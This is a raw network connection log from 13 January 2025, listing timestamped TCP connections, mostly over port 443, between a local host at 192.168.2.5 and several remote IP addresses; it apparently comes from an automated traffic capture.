Jan 13, 2025 20:18:40.948312998 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948333025 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948338985 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.948362112 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948374987 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948380947 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.948395014 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948422909 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948484898 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948498011 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.948537111 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.948620081 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948637962 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.948657036 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.948796034 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.949099064 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.949229002 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.949378014 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.949563980 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.949601889 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.949606895 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.949723005 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.949758053 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.949949980 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.950006962 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.950037956 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.950215101 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.950318098 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.950359106 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:40.950454950 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:40.950567007 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:41.000509977 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:41.001542091 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:41.082263947 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:41.082359076 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:41.082501888 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:41.083002090 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:41.083038092 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.075088978 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.075248957 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.077661991 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.077678919 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.080260038 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.080275059 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.747771978 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.747800112 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.747867107 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.747886896 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.747899055 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.747916937 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.747927904 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.747967005 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.748114109 CET	49943	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.748131037 CET	443	49943	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.752232075 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.752331972 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:42.752557039 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.752973080 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:42.753009081 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:43.412838936 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:43.412908077 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:43.418982983 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:43.419012070 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:43.421283007 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:43.421298027 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.099580050 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.099625111 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.099736929 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.099736929 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.099752903 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.099822044 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.102864027 CET	49953	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.102880001 CET	443	49953	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.140691042 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.140785933 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.140873909 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.141129017 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.141159058 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.808808088 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.808969975 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.809267044 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.809288025 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:44.811369896 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:44.811386108 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:45.493403912 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:45.493566036 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:45.493571997 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:45.493630886 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:45.494340897 CET	49964	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:45.494365931 CET	443	49964	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:45.549115896 CET	49703	80	192.168.2.5	192.229.211.108
Jan 13, 2025 20:18:45.554083109 CET	80	49703	192.229.211.108	192.168.2.5
Jan 13, 2025 20:18:45.554225922 CET	49703	80	192.168.2.5	192.229.211.108
Jan 13, 2025 20:18:47.525501966 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:47.525538921 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:47.525614023 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:47.525844097 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:47.525855064 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:47.971442938 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:47.971632957 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:47.971672058 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:47.971746922 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:47.972903967 CET	49935	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:47.972945929 CET	443	49935	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.092209101 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.092670918 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.092694044 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.093023062 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.093035936 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.093089104 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.093094110 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.093132973 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.093626022 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.095365047 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.095441103 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.096329927 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.096338034 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.142508030 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.194200993 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194259882 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194299936 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194336891 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194351912 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.194365025 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194396019 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.194396019 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194436073 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.194446087 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194771051 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194802046 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194889069 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.194894075 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.194956064 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.195296049 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.195359945 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.195441008 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.195446014 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.198834896 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.198873997 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.198883057 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.198888063 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.198928118 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.198931932 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.236807108 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.236895084 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.237000942 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.237354040 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.237380981 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.251858950 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.292489052 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292568922 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292613983 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292654991 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292689085 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292721033 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.292730093 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292745113 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292804956 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292829990 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.292841911 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292886972 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292916059 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.292922020 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.292934895 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.292959929 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293000937 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293034077 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293060064 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.293066025 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293092012 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.293096066 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293361902 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.293368101 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293600082 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293634892 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293670893 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293695927 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.293701887 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293728113 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293751955 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.293756962 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293816090 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293827057 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.293833971 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.293859005 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.295175076 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295212030 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295259953 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295280933 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.295286894 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295337915 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295370102 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.295371056 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295382023 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.295397043 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.295480013 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.329736948 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.376847982 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.376879930 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382275105 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382324934 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382356882 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382374048 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382386923 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382412910 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382421017 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382456064 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382488966 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382515907 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382522106 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382553101 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382644892 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382688046 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382715940 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382715940 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382730007 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382783890 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382807016 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382817030 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382843018 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.382848978 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.382958889 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.383083105 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383219957 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383253098 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383275986 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.383280993 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383339882 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383377075 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383400917 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.383407116 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383435011 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383435965 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.383475065 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383516073 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.383521080 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.383590937 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.383951902 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384027958 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384072065 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384092093 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.384098053 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384141922 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384181023 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384217978 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384233952 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.384239912 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384269953 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384290934 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.384339094 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.384346962 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.384351969 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.385005951 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.385029078 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.385034084 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.385061979 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.385071993 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.385097027 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.385121107 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.385127068 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.385333061 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.419158936 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.419239998 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.419691086 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.419723034 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.470778942 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472141027 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472243071 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472289085 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472318888 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472321987 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472337008 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472398043 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472421885 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472430944 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472467899 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472491980 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472497940 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472523928 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472551107 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472557068 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472585917 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472609997 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472615004 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472665071 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472688913 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472693920 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472723961 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472748995 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472754002 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472775936 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472781897 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.472913027 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.472939014 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.473145962 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.473223925 CET	49989	443	192.168.2.5	172.217.165.129
Jan 13, 2025 20:18:48.473247051 CET	443	49989	172.217.165.129	192.168.2.5
Jan 13, 2025 20:18:48.906965971 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.911290884 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.911757946 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.911787033 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.913599014 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.913599014 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.913629055 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.913664103 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.913886070 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.913912058 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.914762020 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.914797068 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.914968967 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.914992094 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:48.915007114 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:48.915016890 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:49.265963078 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:49.266041040 CET	443	49748	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:49.266078949 CET	49748	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:49.266098976 CET	443	49748	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:49.266433001 CET	50002	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:49.266505957 CET	443	50002	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:49.266581059 CET	50002	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:49.266681910 CET	50002	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:49.266963959 CET	443	50002	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:49.267986059 CET	50002	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:50.057471037 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:50.057568073 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.057604074 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:50.057657003 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.057763100 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:50.057787895 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.057810068 CET	443	49994	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:50.057830095 CET	49994	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.064688921 CET	50008	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.064783096 CET	443	50008	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:50.065152884 CET	50008	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.065613985 CET	50008	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:50.065649033 CET	443	50008	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:50.266376019 CET	50009	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.266450882 CET	443	50009	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.266535997 CET	50009	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.266582966 CET	50010	443	192.168.2.5	162.159.61.3
